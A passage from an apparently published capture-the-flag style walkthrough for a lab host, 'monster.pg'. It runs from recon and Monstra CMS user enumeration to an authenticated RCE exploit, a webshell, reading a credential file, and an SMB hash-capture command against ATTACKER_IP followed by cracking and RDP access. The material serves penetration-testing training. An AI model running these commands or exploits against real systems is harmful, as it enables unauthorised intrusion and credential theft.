On Windows/XAMPP targets, successful RCE may execute as the local web user rather than a low-privileged service account. ## Discovery Useful indicators: ``` 80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10) |_http-title: Mike Wazowski ``` Nmap HTTP enum may reveal a blog path: ``` http-enum: /blog/: Blog ``` Add the discovered virtual host before browsing: ``` TARGET monster.pg ``` Monstra indicators: ``` http://monster.pg/blog/ Welcome to your new Monstra powered website. http://monster.pg/blog/admin/ (c) 2012 - 2016 Monstra - Version 3.0.4 ``` Nuclei may also identify it: ``` [metatag-cms] Powered by Monstra 3.0.4 [monstracms-detect] 3.0.4 [monstra-admin-panel] /blog/admin/index.php ``` ## User Enumeration Monstra user pages may be public: ``` http://monster.pg/blog/users http://monster.pg/blog/users/1 ``` Observed users: ``` admin mike ``` Useful profile details: ``` Username: admin Email: wazowski@monster.pg Username: mike Email: mike@monster.pg ``` Build a small target-specific wordlist from the main site and blog: ```bash cewl -w list.txt -d 5 -m 4 http://monster.pg grep wazowski list.txt ``` Working credential: ``` admin:wazowski ``` ## Authenticated RCE References: ``` https://www.exploit-db.com/exploits/52038 https://www.exploit-db.com/exploits/49949 https://www.exploit-db.com/exploits/48479 https://github.com/advisories/GHSA-gvcr-c452-fm6g ``` Run the working Exploit-DB `52038` PoC: ```bash python3 exploit.py http://monster.pg/blog/ admin wazowski ``` Successful output: ``` Logging in... Login successful Preparing shell... Your shell is ready: http://monster.pg/blog//public/themes/default/l13zp.chunk.php ``` Use the webshell: ``` http://monster.pg/blog//public/themes/default/l13zp.chunk.php?cmd=whoami ``` Successful execution context: ``` mike-pc\mike ``` ## Credential Files The Monstra user database is stored under the web root: ```cmd type C:\xampp\htdocs\blog\storage\database\users.table.xml ``` Useful fields include `login`, `password`, `email`, `role`, and `hash`. ## Post-Exploitation From the Monstra command shell, force the current Windows user to authenticate to an attacker SMB listener: ```cmd dir \\ATTACKER_IP\share ``` Crack the captured NetNTLMv2 hash with Hashcat mode `5600`. In the observed path, the cracked credential was: ``` mike:Mike14 ``` Use the credential for RDP access, then continue local Windows privilege escalation from an interactive session. --- # Agent Instructions This documentation is published with GitBook.
